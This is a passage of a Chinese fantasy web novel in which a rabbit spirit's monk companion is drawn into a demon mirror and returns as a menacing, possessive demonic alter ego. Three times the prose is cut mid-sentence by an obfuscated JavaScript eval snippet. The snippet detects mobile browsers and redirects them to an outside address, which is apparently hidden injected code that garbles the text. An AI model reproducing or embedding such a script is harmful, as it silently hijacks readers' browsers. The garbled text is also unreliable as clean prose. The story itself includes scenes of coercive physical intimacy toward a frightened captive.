佛宗弟子此行其实还有一位与佛子同辈的南无师叔,但佛宗并不是开启游仙会钥匙的掌管之一,此行能参与是各境秘境相互交流换来的机会。 而南无师叔嗜睡,自从知晓息尘师叔也在后,便当了甩手掌柜,就连今日,都还不知在哪处睡觉,不曾到场。 息尘知道,弟子的魂息牌在南无师兄手中,如今行知、行远的躯体都不曾寻到,唯有先瞧瞧魂息牌,方可确认其可还活着。 只要确认活着,佛宗有一秘法,可保魂息不灭,到时,无论是寻人,还是救回行知、行岳都有很大的把握。 息尘知晓行岳之意。 当下也不耽搁,留下行岳等在此听候各宗商议,传讯符是唤不醒南无的,息尘直接以言法凭空写就一个“寻”字,其内蕴有同宗的法源,自可寻人。 金色的“寻”字,先于几个师侄头上绕转一圈,飞离了开阳宗大广场。 果不其然,南无不在为他安排的客院,而在人家宗门的瀑布后,寻了个石洞睡得鼾声大作。 息尘入内也惊不醒南无,无法,并指一抬,自有几块存有弟子魂息的玉牌飞出,其中属行知、行远的玉牌魂息极弱,但好在并未消失。 他只取走一块,余下的,带着一种力道落至南无肚皮,跟同一起落下的还有几句话:“师兄,游仙会出事已闭境,各宗弟子皆有被波及,行远、行知恐入狐妖之手,行知魂息玉牌我先取走,还望师兄照管余下弟子。” 南无被砸醒,息尘留下几句话也顿令他睡意全消,一摸玉牌,果见行远魂息玉牌暗淡,当即分出一缕自身气机为其养蕴。 见玉牌内那缕虚弱魂息恢复些生机,才舒一口气。 佛宗玉牌为特制,每一块都有经文加持,这些经文可保其内魂息生机不散,令宗门弟子在外,只要出的事不至死,宗门便有机会发现,即便赶不上救治,也可留下遗言。 师弟这样稳重的人,都急得来寻他,事情恐怕是真的严重了。 既然师弟已先去寻失踪弟子的踪迹,他便得留下担起责来。 一个闪身出了瀑布,几个呼吸间出现在了个宗门议事之所,给行岳等人立起了主心骨。 各宗门也不是都没有自己追踪之法的,毕竟损失的是精英弟子,有本事的,早就同息尘一般追去寻了,余下的,多是一些游仙会提前关闭带来影响的拉扯,再就是各宗合力寻狐妖,各自派遣多少弟子,如何通讯等等。 虽繁琐,可合力一处,寻起来总归是更容易一些的。 * 另一边,息尘也如是为行知的魂息玉牌注入生机,魂息闪亮,一直往同一个方向指。 那是一条小溪,干净、清澈,于光下闪耀着碎金一样的光斑。 所有指向就是在此结束。 会唤玉扶“阿扶小兔”的年轻佛修一半身子在水中,一半身子趴在小溪满是石子的岸旁,另一玉扶见得比较少的佛修,也同样在此,二人被扔得极其随意,就好像是没必要带上的垃圾。 毕竟也算认识,玉扶想去瞧瞧他们怎么样了,从息尘身上跳下,方往前几步,就停住了。 兽类的天性,总让她对危险极为敏锐。 倒退着回到息尘身边。 息尘的视线没有落在玉扶身上,肃脸凝视周遭,无形的域,在见到行知和行远时,就已然将他们都包裹了进去。 溪中冒出一个泉眼,溪水倒流,周遭的域在以极快的速度扭曲、压缩。 小小的泉眼,力量大得像是要把一方天地都吸入,玉扶变大,镇山一般的力道拦住息尘。 但这远远不够的,息尘是好心肠的佛修,当初会连她一只兔子都救,又如何会看着两个师侄的躯体而不顾。 温柔水波一样的结界,又覆上了玉扶,她好像倏地就与此方域界隔开了,巨大的吸力不再影响她,但她却亲眼看着息尘往中心走去,在行知、行远将将被吸入一瞬,息尘护住了他们。 二人被与她同样的结界覆着,推向而来。 “阿扶,替我照料一下。” 玉扶用身体接住了两个佛修,同时迅速撤远。 她一直觉得息尘是特别厉害的佛修,不然佛修千千万,就他是佛子呢? 可亲眼看着他被溪流中的泉眼吸入,还是会觉得生气,为什么他的好心肠这么广泛? 就非要推上两个师侄自己掉下去吗? 但玉扶也清楚知道自己这种狭隘的想法是错的,他就是这么好心肠啊,所以才会被她赖上。 玉扶放下两个佛修师侄,狩猎姿态地缩小,远远趴伏着观察那诡异小溪。 小溪还是小溪,漂亮得玉扶都想去戏水。 而且,空气也非常澄澈,先才还存在的危险感觉荡然无存。 玉扶一边盯着,一边伸出爪探了探两个佛修师侄,只有躯体,魂不在了。 玉扶嫌弃他们麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16187042|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烦目标大,挖了个地洞,将二人躯体藏入。 她则小心翼翼地化出无相石,聚出个小石兔,送入一缕神识,驱使着小石兔往溪边而去。 澄澈的溪水清可见底,一面反着光的镜子也极为明显。 镜面椭圆,镜边华丽,纹饰漂亮得令人想将其占为己有。 又是这种想法,想要靠近,想要占为己有,想要看得更清楚—— 玉扶晃晃脑袋,将这些危险的想法统统赶走。 与她神识相连的小石兔,却又传回了画面,镜面变了,里头出现了人影,还是她熟悉又有些不熟悉的人,熟悉的是,那脸分明就是躯体都在洞里的行知的,可不熟悉的是,他怎么长出了头发? 啊!他还娶妻了!而且还有两个孩子! 玉扶是知道佛修一般是不会娶妻的,一起修行的道侣也不会有,所以,就算是她,想的也是同他当情人,而且,情人可以有好多个,不喜欢了还可以换,她师姐们都是这样做的。 玉扶想的有点偏了,不过还是很快被镜中的画面吸引了,行知的妻子为他擦汗,行知也单手抱起一个女孩儿,与妻子孩子说笑着进入了屋中。 一切美好得就像是假的。 嗯,本来就是假的! 许是因她这种不信任的想法,影响到了小石兔,而小石兔有带着些微的灵力波动,水下镜面的画面又是一转。 这次是个玉扶都不认识的修士,这修士的运气可真好,秘境、天材地宝,各种出身好长得好的某某城主女儿、某某宗主女儿,都追着要嫁给他。 玉扶又是一阵嫌弃,画面也一变再变,她见到了许许多多见过亦或是没见过的修士。 不过可以肯定,这些人应该都是进入了游仙会的修士。 原来他们失去的神魂都关在了镜子中。 所以息尘方才也是被吸入的镜中? 狐妖从游仙会拿走的就是这面镜子?可为什么这样随便地扔在水里啊? 玉扶完全想不明白,在远远的草丛里躲了很久,也用小石兔看了很久的镜中画面,但一直没有见到息尘的。 是因为他连躯体都被吸入,所以和其他人不一样吗? 玉扶突然想起了,自己同息尘的临时契约还没有断。 她沉入识海寻到那与息尘相连的契约联系,她试图将自己的声音传递,一次失败了就两次,两次失败了就三次…… 然后,临时契约报废了,他们最后一点联系的希望也断了。 玉扶默了默,极想将那面坏镜子捞出来磨牙,捞出来敲石头。 尤想着,石兔子又给她传回来了画面,玉扶都已有些懒得看了,长头发的,估计又是什么不认识的修士。 玉扶方想略过,却见传来的镜中画面,是个即便只有看不清面容的上半身,也极吸引人的男修。 他浸在满是雾气的池中,慵慵懒懒地靠着白玉池阶,茂盛如海藻的乌发,大半都随着水波飘荡摇曳。 不好的是,他穿着衣服泡澡,好的是,他的衣襟松垮扯散着,湿淋淋的胸膛露出一点往下的弧度。 玉扶觉得这人又奇怪,又有点引人遐想。 大概是看不到脸的缘故吧。 她的视线才要离开,却见水雾中男修也在看来。 他面容依旧模糊,可那笃定似的姿态,还有些微显出一点眸光,就像是穿透了镜面,也看破了石兔,锁定了她似的。 像是捕猎的色彩。 15. 第 15 章 隔着很远,玉扶还是生出了想逃的念头。 她准备带着两个佛修师侄的躯体一起跑,这是她答应息尘的。 但她的石兔子好像有自己的想法。 她在搬躯体,小石兔在拨水花。 她在跑路,小石兔在搬镜子。 她分出的那一缕神识好像被镜子影响得神志不清了。 玉扶就要掐断了这缕神识,召回无相石,却闻得一股浓烈的狐狸味在破空而来。 电光石火间,玉扶将师侄们的躯体塞回地洞,召回无相石,给自己覆上了一层厚厚的盔甲。 即便这样,狐狸的一尾巴还是将她抽得不轻。 玉扶摇了摇头,才让发晕的眼清楚一些,她瞧见,狐狸很生气,气得想杀她,可狐狸也挺狼狈的,她的尾巴没有第一次见那样蓬松干净了,甚至还又断了三根。 玉扶数了数,狐狸已经从九尾变成五尾了。 难怪要把镜子先放起来呢,原来来追狐狸的不止是自己和息尘。 玉扶戒备地估量着,到底是逃跑,还是和狐狸打。 她其实不太会战斗,可是自己跑的话,佛修师侄们的尸体被打烂了怎么办? 但显然的,狐狸并没有让玉扶多纠结的时间。 雪仙从强行破空而来,看到玉扶的一刻,就怒火中烧,周身妖气暴涨,一击不够,又是接连几击。 几条大尾铺天盖地似的,尾尖如刃,一下又一下地在地上戳出巨大无比的洞。 但凡有一尾真的击中玉扶,玉扶绝对能被串起来。 玉扶也跑得累极,身上覆着一层石质盔甲,一边跑一边簌簌掉着渣。 都是被狐狸尾巴擦过,险险躲过抗下伤害的痕迹。 玉扶算是知晓了,狐狸即便断了好几根尾巴,也比她厉害。 但她实在擅长逃跑,狐狸也一时奈不何她。 大片的区域,不是狐狸戳出的洞,就是兔子钻出的洞,狼藉非常。 雪仙失去了耐心,五指利爪于半空中尖锐勾起,狐眼紧缩地逡巡着满是洞的一片区域,嗓音带着诱惑般地商量:“小兔子,你我都是妖,也没什么仇怨,你碰了我的东西,我出了气,也就不与你计较了,把我的东西还来,我就放你走可好?” 躲在地洞里的玉扶嗤鼻,谁会相信狐狸的话,她才不主动送上前去。 不过,东西?什么东西?她只搬了两个躯体,可没动狐狸的什么东西。 尤是想着,“哐当”一声从自己身上落下一面椭圆形的玩意,厚厚的,裹着石层。 玉扶脑袋宕地一下,明白了什么,石层破开,不是溪水下的镜子又是什么? 镜中男子尤在,他站了起来,对她抬头。 可玉扶跟本不想看,啪地一爪盖住。 她怕死了,这该死的无相石和她那一缕不听话的神识,竟然在她千钧一发召回挡伤的一瞬,将溪底的镜子一同卷了回来,还就层层裹着,附在石质盔甲上。 狐狸不打她那打谁? 狼藉一片的地面上,雪仙又失去了耐心,嘶吼尖唳:“死兔子,不出来是吧?” 妖力凝出的巨大五爪虚影落下,地面尘土炸开地扬起,五道深深的抓痕如生在地面上的疤般触目。 玉扶被一下又一下地轰得落到了水里,石质盔甲全然抖落,露出她本来的毛发,一缕一缕湿淋淋的狼狈。 雪仙欺身而上,一脚踩在玉扶身上,压得玉扶身形又缩小一大圈,镜子掉入水中,淋淋水洗,更加光滑洁净。 雪仙一脚踩着玉扶,像是瞧见什么惊喜,狐身化形,玉段一样的手伸到玉扶身旁,捡起了镜子,她盯着镜子入了迷,双手而捧。 “真美!” "这才堪匹——” 话还不曾说完,镜中伸出一湿淋淋的大手。 镜身在开裂,大手的主人探出更多的身躯,踩在玉扶身上的力道也随之一松,狐狸被人单手掐喉举起。 大手的力道在收紧,镜身也在不断碎裂,玉扶被不断闪烁的碎片闪得不适,低头,慢慢地挪一点,挪一点,想离这些厉害的妖和人远一点。 然玉扶想象中的男子和大妖打的来的事并没有发生,那从镜中出来的男子,完完全全地压制了狐妖。 狐妖于他手中从始至终也不曾想过挣扎,她迷乱地抚着掐着她的手,断续说着不连贯的话:“......妖躯.......还能更完美……” 男子根本不听她在讲什么,眼尾细鳞闪过,虎口收紧力道,一条断尾于他手中落下:“啧,狐狸就是命大。” 这嗓音莫名的熟悉,可语调萧凉,满满无畏的恶意。 玉扶有些不敢置信地扭头,从一片衣摆往上,身形、高度,还有衣袍,确是息尘无疑,可息尘是佛子,怎么会用这种语调说话呢? 而且也不该有头发。 她一定是听错了! 她装死似的泡在水里,企图这个连狐狸都能一手捏死的男子不要注意她。 然而,总是怕什么就来什么,玉扶恍若被猛兽锁定了般,失去动弹的能力。 裴息尘垂眼,便见装死飘在水面的小兔子,“嗤”了一声,手直入水中,自后颈将兔子拎起,甩水似的晃了晃。 他一错不错地盯着玉扶,双瞳就如野兽般专注。 根植兽类本能的恐惧,一瞬裹住了玉扶,她身子控制不住地抖,眼尾几乎沁出了泪,小兽一样地细细呜咽。 她不想哭的,可是控制不住,她总感觉就下一瞬就要被吃掉了。 冰凉的手触上了玉扶的眼尾,不过撩一下,指节便是一片湿润,裴息尘舌尖卷入一点,品尝到了恐惧的味道。 他略带恶意地勾了唇,更是将不大的兔子拎到了嘴边:“小兔子,你好香啊。” 玉扶呜呜呜地用爪子捂脸:“我不好吃的,我一点肉都没有呜呜呜呜。” 玉扶是真觉得自己这回要逃不掉了,她短时间内也再用不了替身逃跑的法术。 她哭得好伤心,好难过,就像是要在临死前哭个够。 裴息尘有些被哭烦了,眼眸一眯,察觉到来了人,将重新聚成镜的惑心镜一踢,卷着玉扶一齐离开了这一片狼藉。 * “确定狐妖是往这方向逃的?” 打头的来人一头鹤发,身躯壮硕,手持一把大刀,很是有寻仇的意味,跟同他一起的一行人,也不遑多让,不过稍比他内敛文气一些,手里各持着些亮闪闪的法器。 但都有一个共通点,身上都有着些爪刃抓伤的打斗痕迹。 手拿乾坤盘的修士更惨一点,脸上都还有着血口子,很是不悦有人对他的怀疑,“若是不信我,你们自找去。” 凝肃女修打圆场道:“都是为了寻回弟子神魂,莫先自己生了内讧。” “说的是,说的是,尽快寻吧,我大弟子魂息快撑不住了。”一老道捧着块魂息玉牌快哭了。 这一众人皆是各自在发现狐妖逃后,为了重视的弟子率先追出的修士,本也不是一道的,可狐妖狡诈,九尾命又多,砍了一尾还有好几尾。 每脱一尾就要重新寻一次,寻着寻着,就聚在了一起。 便不信这次还能令她逃了去。 然而,于夜色里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201359|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻到一片狼藉处,一看留下痕迹,大刀修士就控制不住了暴脾气:“格老子的,又逃了。” “这痕迹,不会是狐妖又来了帮手吧?” “得,要让她逃回妖域,老子可以重新收徒了。” 乾坤盘修士比大刀修士有脑一些:“我看不见得,这痕迹分明是他们妖族自己打起来了。” “不过是要快些寻了,我可就这么一个得我真传的弟子。” 他们絮叨不过几句,又寻起了狐妖。 不久,南无也带着一些修士,靠着行远的魂息玉牌寻到了此处,至少找回了两个弟子的躯体。 * 与此同时的玉扶还被人拎着,不断利用空间术法快速离开着。 玉扶对此术法熟悉,之前息尘便是这样带着她赶路的,可息尘温柔多了,会把她护在怀里,身上也会罩上防护的结界,不让她被扭曲的空间影响。 然这回拎着他的人全然没有这个意识,直到玉扶晕了,他才“咦”一声地抬手,晃了晃:“真晕了?” 回应他的只有不断的“滴答”声,是玉扶身上没干的水,滴落的声音 毕竟在水里泡了许久,她兔毛又密,一吸足了水,总是很难才干。 她这一日也过得十分惊险,差点同息尘一起被镜子吸入,然后在狐妖爪下逃命,又被从镜子里出来的人恐吓吃掉…… 一桩桩一件件,实在超过她的承受,她浑身湿漉漉的毛发令她在梦里,都犹如被水鬼缠上般窒息。 但慢慢的,这种窒息褪去,一点点暖洋洋的感觉漫上全身,舒服得她伸展了身子。 裴息尘支腿靠坐树干,一手把玩着捡来的镜子,一手给玉扶烘着毛。 觉得差不多了,又拎起兔子于眼前晃一晃:“还不醒?真要我吃了你?” 这只兔子被另一个他纵容的有多过分,裴息尘一直看在眼里,按他来说,这种得寸进尺的兔子,从一开始就该宰了吃了。 这么小,或许都用不了宰,整个吞了也就一口的事。 他危险地眯了眯眼,脸颊也跟着往玉扶身上靠近,就好似是真的在比较能不能一口吞下。 他的呼吸异常的轻,也异常的凉,直如冷血的危险动物在靠近。 玉扶感受到了,她醒了,眼皮也在不断地颤,但她根本不敢睁开眼。 她好怕,怕看到同息尘完全一样的脸。 这完全就是鬼故事! 人怎么能被镜子吸进去一次再出来就变化这么大呢? 玉扶突然想起在镜中看到的不同修士的画面,他们有的好像完全抛弃了修炼的道心,完全沉在凡俗的幸福中,也有的没有抛弃道心,倒是一直修炼,可动不动的所有修仙资源送上门来,好像也已偏离了正常的法门…… 再有总总,这样比较起来,如果息尘只是性格大变,好像已经算是轻的了? 玉扶给自己鼓了鼓气,先掀开了一边的眼皮,放大了的面庞就在眼前,果然是熟悉的眉眼,这是她第一个会欣赏的人族修士的容貌。 皎然如玉的面庞,薄淡适宜的唇,总笼着一些包容慈悲的眉眼—— 玉扶顿了顿,双眼完全掀开,不对,不对,非常不对,脸还是那张脸,可总让玉扶觉得好心肠的感觉全没了。 只余下了一种悠然的从容,可这并不是好接近的从容,而是看待逃不出手心的猎物,耍弄的从容。 而他瞳孔中映着的正是自己。 玉扶直直望着对方瞳仁眼中的自己,瑟缩一下,又挺身商量:“可不可以不要吃我?” “就算你中邪了我也不会嫌弃你的。” 16. 第 16 章 中邪? 原来这不要命的兔子是这样看待他啊。 他是中了邪。 裴息尘冷笑地盯着不知死活的玉扶,喉间发出意味不明的笑:“是吗?你不会嫌弃我。” “那你在发什么抖?” 他将玉扶拎得很近,近到每说一个字,都能清楚感受到她的颤抖,白茸茸一团,抖得还怪取悦人,杀了的话—— 一定很令“他”心痛吧。 想着,裴息尘往后仰靠,手指也沿着玉扶的肚皮戳了戳。 玉扶吓得蜷了身,可她整个身子的重量本就靠着息尘两根捏着的手指,这一蜷就少不得爪子乱碰地想借力抱住些什么。 等她反应过来,已然四爪并用地抱住了息尘戳来的那只手,而息尘原本拎着他抬起的那只手也已松开了。 她无辜又胆怯地抬眼。 她真不是故意的,虽然息尘中邪了,可他满身都是熟悉的气息,她平日里就是这样粘着息尘的。 裴息尘也一阵无语盯着牢攀着他手的兔子。 都是纵出来的毛病。 挥手要甩,只听那兔子哆哆嗦嗦地更抱紧了他,道:“你看,我现在就没有嫌弃你。” 声音是直接从脑中冒出的。 并且同他在镜中时,不断通过临时契约传来的很相似,但稍稚嫩,他愣怔一瞬,辨出不是被他掐断的临时契约,而是玉扶的魂体小兔。 都怕到不敢直接同他说话了,还说不嫌弃,难道不知道她的魂体小兔将她的情绪,也一同传了过来了吗? 真是,嘴硬的很。 裴息尘直接将她撸下。 手指一弹,不大的兔子摔了个仰天。 他的手掌也整个覆在她仰起的身上,一手就可以罩住,虎口扣着她的颈骨,有一下没一下地揉着,既安抚又富有威胁。 玉扶心里害怕,可实在舒服,她一会受用,又一会提醒自己一定要打起精神,一双兔眼,迷迷瞪瞪的。 裴息尘已没有看她,而是靠着树干幽幽地道:“小兔子,你知道我杀过多少猴子吗?” 他并不像是在同玉扶说话,可玉扶还是不受控地听进去了,尤其是他唤她的那声“小兔子”,与息尘全然不同的语调,幽幽的,凉凉的,激得她浑身的毛都要竖了起来。 她不再对掌控着她的大手感到舒适,她细弱的脖子随时都会受到挤压与拧断,窒息与死亡或就在下一瞬。 玉扶再没有比这时候更清楚地发现,眼前人同息尘的不同,息尘不会坐得这样随意,他总是坐的特别端然。 息尘也不会将一层层衣领松松垮垮地扯开,他的衣领每一次都严整到了左右留下的宽度都一致的程度,玉扶观察过。 息尘也不会这样吓唬她,也不会说出杀了猴子的话。 佛子怎么可能杀生嘛。 所以眼前的这个人一定是假的,才不是中邪。 而且,他是想像杀了猴子一样杀一只兔子玩玩吗? 玉扶又哭了。 裴息尘清楚察觉到虎口下毛发变得湿润。 真娇气,这样就吓哭了? 然还不等他撤回手,他被咬了,不大的兔子咬他了。 玉扶一认定这人不是息尘,用力地咬了他一口便往地下钻。 她是极擅长逃跑的,遁地于她而言,吃饭喝水一样简单。 然后她碰壁了,真正意义上的碰壁。 和息尘如出一辙的结界挡住了她。 裴息尘并没有立时去看玉扶,他高抬着手,观察着虎口渗血的牙印—— 啊,原来兔子急了是真的会咬人的啊。 可怎么只咬他呢?也只讨厌他呢? 他和“他”不是同一人吗? 凭何是他要被圣者剥离镇压,只让“他”当弟子? 是他的妖性不堪为弟子吗? 裴息尘一日日、一年年地看着另一个自己,在全然不知晓自己存在的情况下,成了佛子,成了圣洁又人人敬仰的存在,他的心境已被磨得异常平静,平静地等着属于自己出来的机会。 也期待着自己出来的一日,毁了“他”。 然真出来的这一日,他确实恶劣地将妖镜带走,不放出里面将要死去的神魂。 可许是一日日听佛听禅的缘故,很多很多年以前那种异常强烈想毁了什么的冲动,也已变得很平淡,他甚至懒得去捏死妖镜中的神魂,也觉得要去杀许多追来的修士很麻烦。 这或许就是圣者不将他与“他”感知完全断开的用意? 企图在将来的某一日,他会被“他”完全地当做心魔一般地度化。 不得不说,圣者的良苦用心很有用。 就是此刻,他都没有想掐死该死的兔子。 他只是不甘,一只兔子,只是一只兔子,凭何也只选择“他”? 都是妖,难道不该更亲近他吗? 他略一勾手,关着玉扶的结界小球漂浮到了眼前。 玉扶的逃跑本事在结界里,根本没有用武之地。 此刻猛然地被勾到了放大了的俊脸跟前,更是激得她龇牙咧嘴。 凶的很。 颇有点不管不顾要拼命的势头。 怂兔子也有要拼命的时候?可真是情深义重。 裴息尘讥嘲地勾了勾唇,指腹轻点结界,结界猛地往内里一缩。 但危险与窒息并没有到来,而是极其恶劣地与玉扶距之纤毫地擦过。 冰凉凉的手指点到了玉扶的唇上,“阿扶,你不乖,你不是说不会嫌弃我吗?” “你现在又是在做什么?” 他的手指冰冷如蛇信,有一下没一下地玩弄着玉扶,说话的调子散漫又责怪,就仿佛下一刻就要睡着的慵懒。 玉扶跑又跑不掉,打又打不过,生气刨土,也不知道是哪来的勇气反驳道:“你才不是息尘!” “我不是他那又能是谁?” 裴息尘略垂下些视线,指腹划过玉扶拱起的背脊,享受着她颤栗带来的乐趣。 他不想杀这个小东西了,不止是觉得杀了无趣,更是想要从息尘手中抢走些什么。 然而不空圣者早已坐化,他不可能再寻到他的麻烦,亦或是得到他的承认,至于对息尘的佛子身份也半点不感兴趣,他只有妖性,于妖性中生出的人格,恣睢但懒。 毁了另一个自己固然容易,但正道修士带来的麻烦,也实在难缠。 算来算去,只有这个小兔子最特别。 他被压制时,能感受到息尘对这只小兔子的不同,她给“他”送花时,心底的波动他都感受到了。 而他是什么感觉呢? 是嫉妒。 他并不嫉妒息尘修佛的百十年,因“他”实在无趣,除了被佛宗的不空圣者单独承认外,“他”就是个被藏起来的异类。 “他”不被同外界接触,不被同师兄弟们一起修行。 因为“他”要时时刻刻防着,连“他”自己都不晓的存在,出来作乱。 但他也就在息尘才入佛宗的头几年出来过,后来,随着圣者对息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210163|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尘看得更严,刻入体内的禁制更重,他再也没能出现过。 再后来,更是随着息尘的成长,常年陷入昏睡。 直到不空圣者的坐化,属于圣者的那一方禁制松动,他才常于心潮的深处,看一看“他”所经历的外界。 他嘲笑“他”当了佛子,全然忘了自己的出身,也嘲笑“他”,佛子又如何,还不是同他一样,孤孤寂寂的。 他如魔障阴影一般,一旦抓住机会,便影响“他”的心性。 直到一个又怂又粘人的兔子出现。 他品味到了嫉妒的感觉。 “他”应与他一样无边孤寂的,可什么时候起,“他”要操心一只兔子的生活起居与修炼。 他将他们相处的每一瞬刻入脑中,想掐死兔子,可同时的,又想取代了“他”。 现在这小兔子就于他手中,道他不是息尘。 他确实不是“他”,可他知晓的比“他”还多,他恶劣地勾了勾唇,眉眼都漾着坏透了的笑意:“阿扶,我怎么不会是他呢,我连你对着“我”的亵渎都知道的一清二楚。” 他在“我”字的语调,带上了一种嘲弄的笑,似在嘲笑“他”的无知,也在嘲笑“他”的刻意回避,他继续抚着玉扶的后脊,帮她回忆:“阿扶,你告诉我,逛完贵来城的那夜,你回房做了什么?” “每次我给你渡送灵力,你又在想什么?” “阿扶,你到底想对我做什么呢?” 玉扶双眸瞠大了眼,不可置信,他不是息尘,怎么什么都知道? 还是说息尘其实也知道? 玉扶脑子乱了,她完全分不清眼前的人是谁了。 她唯能想到的只有那面奇怪的镜子,还有狐妖,是不是寻到它们,好心肠的息尘就会变回来了? 玉扶记得,那面镜子被现在的息尘踢了一脚,一起带走了,所以,镜子一定还在他身上。 玉扶放弃挣扎的目光在息尘身上找寻着些什么。 倏地被捏了脸,一声嗤的轻笑挠得玉扶脸颊都发烫。 “色兔子,你这样看我,又在想什么?是要灵力,还是想吃了我?” 许是察觉到玉扶已经失去了攻击力,将她压在地上地说话累得慌,裴息尘干脆将她提了起来,放在了仰靠的胸膛上,刚好用扯开的衣领兜着,不会往下滑。 玉扶简直又恼又怕,还想反驳,她根本没有想他说的那些,她也不是色兔子,但很快的,她察觉到她坐的位置不太对,底下好像不是布料,软软的,凉凉的。 玉扶才调整地动了动,裴息尘就“唔”了一声,道:“别乱动,你毛扎人。” 她毛才不扎人,玉扶下意识地想,然后呆住了,整个兔身都拘束了起来。 息尘向来是将自己包裹得紧紧的,可眼前这个息尘不是,他的衣襟是松垮垮地开着的。 所以,她现在是贴着他胸膛坐的吗? 玉扶不知道什么是害羞,但安静了许多。 裴息尘垂眼看着她的转变,手掌在她身后,用拇指揉着她毛茸茸的肚子,笑得意味不明,已然认定了她就是一只色兔子。 这种不断危险从脑门略过的感觉,玉扶又生出烦躁,要从他手中挣出。 许是已经有咬过一次的前科,玉扶再张口半点压力也没有。 然而,她并不想要的灵力在这时顷刻渡来。 一点也不温柔,澎湃,又横冲直撞,迫着她化形。 她被一个翻身掀下,比她大许多的身形也随之压来,她只咬住了一截指节。 17. 第 17 章 自愿化形与被迫化形完全是不同的两回事。 前者一点身体压力也没有,后者不属自身的灵力,总会令处于渡情期的玉扶失控。 但好在,这股灵力迫她化形后,就立时止住了。 可即便这样,玉扶双眼也迷茫茫了好一瞬,就连口中本该再用力些咬下去的指节也松了力道。 盯着拇指指节处浅浅的齿痕,裴息尘眸色晦暗不清,明明是又小又怂的兔子,今日第二次咬他了,就这么舍不得另一个他? 同样是渡给她灵力,为何到了他这里,就不知感恩了? 他捏着玉扶下颌的力道渐渐收紧。 玉扶迷蒙眼尾又沁出了泪。 裴息尘有种感觉,只要再用用力,她就会碎掉。 他渐渐松了力道,好像有点懂得另一个他要带着她在身边了,无论是玉扶的原形,还是她的化形,都太小了。 兔子时,一掌就能掌住,化形时,同他比较起来,也娇娇小小的,他只用一条腿,便能将她压住。 裴息尘松开钳住玉扶下颌的手,手掌于她面上比较一下,扯扯唇角想,脸蛋也小,尤其是一双眸子,隐着泪光,真可怜。 可怜到他想狠狠欺负她。 下颌倏然撤去的力道,令玉扶短暂地喘了一口气,但体内灵力冲撞的关系,她眼前总感觉雾蒙蒙的,仅仅能瞧见一个脑袋在向她靠来。 玉扶本能地感到害怕,但又是浅浅略过的危险,那不属于她的呼吸落在了她眼角,泪水被细细舔去。 极怪异的感觉,被舔的眼尾,好痒,好凉。 他的舌就跟没有温度似的,每经过一下,玉扶便要瑟缩地躲一下。 可舌的主人,全然不察自己的惹人厌,不止是舌,唇也抵住似的,狠狠舔过。 玉扶越发想哭了,可她根本不敢流泪,她怕他又有得舔了。 终于,他的脑袋离她远了些,可他的手又再次钳上了玉扶的下颌,“阿扶,你又在怕我。” 他在笑,有种享受的疯癫之感。 玉扶想为自己狡辩,安抚一下这个实有吃兔子嫌疑的中邪息尘,然,下一刻,她的唇被咬了。 结结实实的咬。 她一定流血了。 裴息尘将她冒出的血珠吮去,彻底放开她地起身:“扯平了,再咬我前,可要想清楚了。” 他心情似愉悦不少,又支腿靠着树干,于月色下把弄他捡来的镜子。 此镜除去编幻织梦,还有拘人,窥见过去的能力。 狐妖将息尘的两个师侄同镜子扔在一处,是个再直白不过的陷阱,也是料定了佛子会踏入。 是啊,佛子,可不就是好心肠的傻瓜,就算是陷阱也要搭救旁人。 也幸运的,让他在镜中因被窥探过去而醒来。 可要说这是巧合,裴息尘是不信的。 除非狐妖的本意就不只是让佛子踏入陷阱,从一开始便是为了唤醒佛子的妖性。 可惜,他们的妖性与人性,早已割裂成了不相容的两部分。 他低垂着眼,口中喃喃数着一、二、三、四。 唇畔也露出一抹令玉扶看不透,又胆俱的笑。 明明是同一张脸,怎么能连一点原先的好心肠都看不到呢? 就在方才,玉扶觉得自己真的要被吃掉了,她的唇,舌尖稍舔过,都能痛得一个哆嗦,可见下嘴之人的用力,完全就是警告她不能再咬他。 玉扶浑浑噩噩坐在一旁,想不明白也跑不掉,双目一瞬不瞬地盯着息尘手中的妖镜。 想要,很想要。 想到恨不得马上夺过来,让息尘恢复正常。 她的眼神太过明显,裴息尘又向她看去,用镜子挑起她的脸,问:“想要?” 玉扶立时点头,然想到他的恶劣,又接连摇了摇头。 “那拿去玩吧。” 裴息尘浑不在意地将镜子抛给玉扶玩,起身伸了个舒展的懒腰。 林间的月光投下,一时将他的面容映得好像是息尘回来了。 一见玉扶渴望的眼神,裴息尘又冷了脸,偏眼警告:“阿扶,千万别想着用镜子找回息尘,我即是他,他即是我。” “我既出来了,这面镜子便已失去了对我的效用。” 玉扶沮丧,她好像不得不接受,息尘和中邪的息尘,好像真的是同一人。 